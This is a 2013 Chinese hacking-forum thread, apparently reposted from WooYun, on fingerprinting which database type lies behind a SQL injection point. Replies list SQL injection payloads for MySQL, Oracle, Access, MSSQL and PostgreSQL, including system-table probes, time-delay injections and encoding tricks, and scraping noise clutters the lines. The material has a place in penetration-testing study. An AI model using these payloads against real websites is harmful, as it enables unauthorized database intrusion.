找回密码
 立即注册
查看: 2256|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库) ]: C( H! W9 M) L$ @) x1 Q
xsser (十根阳具有长短!!) | 2013-02-05 12:36
" c+ z3 \- F$ D- L! s假设这么一个注射点:9 z: ^" j: [6 p( G
show.html?id=2
& K+ s9 ?0 Y2 s3 Umysql:id=2 and version()>0
3 u3 ^& K. L1 Doracle:id=2 and '1'||'1'='11
3 Z! e& C/ B+ r+ t- `. C其他的欢迎补充
$ G4 }. D1 ]3 S( N1#5 c5 x) S- n% J4 v5 A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47) d' n, L) n( A3 ~1 f
Access:- E' J, Z# V' K3 a3 s
aNd aSc(cHr(97))=973 F9 R! E8 R) e5 \- ^" E/ Z
and exists(select id from MSysAccessObjects): J" {0 B. f+ c/ z/ j( c
SQL Server:
* [. H& C. b6 O3 n8 nand exists(select id from sysobjects)
( j' _* o4 {9 q$ Hand length(user)>06 t& u# ~3 s9 \0 \9 C# X
MySQL:
9 t1 y4 |5 V4 g7 V1 A; ]9 i. h$ aand length(user())>0* [' _% |' u; Q. }9 I
2#
! Q6 s7 P) C& s3 ^! ^% sxsser (十根阳具有长短!!) | 2013-02-05 12:487 O5 k( x4 |3 S1 Y
@upload 如果这些都不是呢…
6 n: g3 ^" O% y. v3#
9 j& N  q: y% y7 ^) R1 @upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:030 m! z$ h2 r4 b: a* W
@xsser 不快速的,延时注入' o8 g7 y3 J7 l; S( C) U
不知道这样写对不对
* y6 V& D  b" Gmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'3 I: H$ Y. h/ ^1 f0 C
mysql:id=2 and select benchmark(1e8,current_date());, v  l3 p, ?1 D% n! ?% H/ Q
4#
/ O0 B6 q9 N/ F9 hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:107 |  v7 S" q/ @) H: ^; }
最快的貌似是看报错信息
  \( L) W! B; }3 Q: Noracle error
% {/ ^2 G% [9 M8 s$ e+ ?5 w# e5 a* gmssql error
% @+ F  {0 H. P! I/ Bmysql error
% y! I( ^$ u1 F% I7 R9 T. {! C0 J5#
  C7 @) q( e# E: b- |Nimda (你们都是坏银~) | 2013-02-05 13:14. p4 K; n+ Q& d' o0 I; r9 n. Q0 n! M
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual), |- [5 _  b% S( E# X% {
6#$ X5 @8 E+ R. A3 p% f. [
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
# X9 C* g$ ~: ^# s! G4 d# {“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
- F: h2 D; [& L& I* q3 D  w“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
  ?( c3 o& Q) v3 _; x“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
3 ~3 e) r7 B) L7 b# G* I7 G) q4 u7#
1 W% Y' ~( s, a2 Q, j) g_Evil (HackEnd) | 2013-02-05 13:33
/ h5 x) r( A9 M% Y9 |PostgreSQL; q* b( L4 H: N0 o+ u4 w+ c$ `- T
8#0 a) X$ R2 `8 `4 n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
- ]1 U$ Y; A8 p* g; u切换编码 and 1=1( j3 Q- g1 U1 ]% k
oracle:6 A9 l8 a$ c# M4 |
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)5 @& f: H0 B) t2 r% \" R
mssql:
; E$ ]+ [9 n0 q. ?) {" lCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
* F/ f8 q) m5 k5 k" e- W& Mmysql:
/ W( I) Z  u7 ~/ A- g+ eCHAR(97, 110, 100, 32, 49, 61, 49)+ @4 j& K8 ]( H
9#
0 z! x9 f$ e+ e6 exsser (十根阳具有长短!!) | 2013-02-05 14:31
3 R2 }; u! {2 n8 B1 i@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
& P  R7 \4 L0 O0 \: s10#; |$ w% M% H& w- @0 z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:465 R: U6 n- I9 F) e6 f& o
@xsser 是奇葩数据库类型的么?- Q/ v& p- I2 R& S0 R
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
0 L2 `; `* K) U! b1.是否可以使用特定的函数来判断,该数据库特有的
: R% |- t: }5 F2 l, L2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
' R, I/ t3 n, J0 }; Z  e3.是否可以编码查询1 `- |3 L$ z4 i/ _6 Y! F5 {7 K, u; Q
4.是否显可以利用错信息
, k* ?/ `; N7 C$ C. N$ h% W% N* v5.是否存在数据库某些特性辅助判断
- \; Z, ]  R- B# |个人见解
% |# r4 F) Y) S8 ~& E( a& }11#. A9 ^0 ?+ C* e' K9 h6 `# B
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55& N3 X2 o6 D) p# o4 T) L+ f0 `
已收藏,mssql可以直接看到错误提示的吧~( M4 e2 L: b2 H  o1 C( _; [
12#. Q2 l: X* t% v6 c* T& ]# U# l
Passer_by | 2013-02-05 15:09/ J( }( V) s" C6 a
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
! W9 V4 j0 ^3 a1 P# Kfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表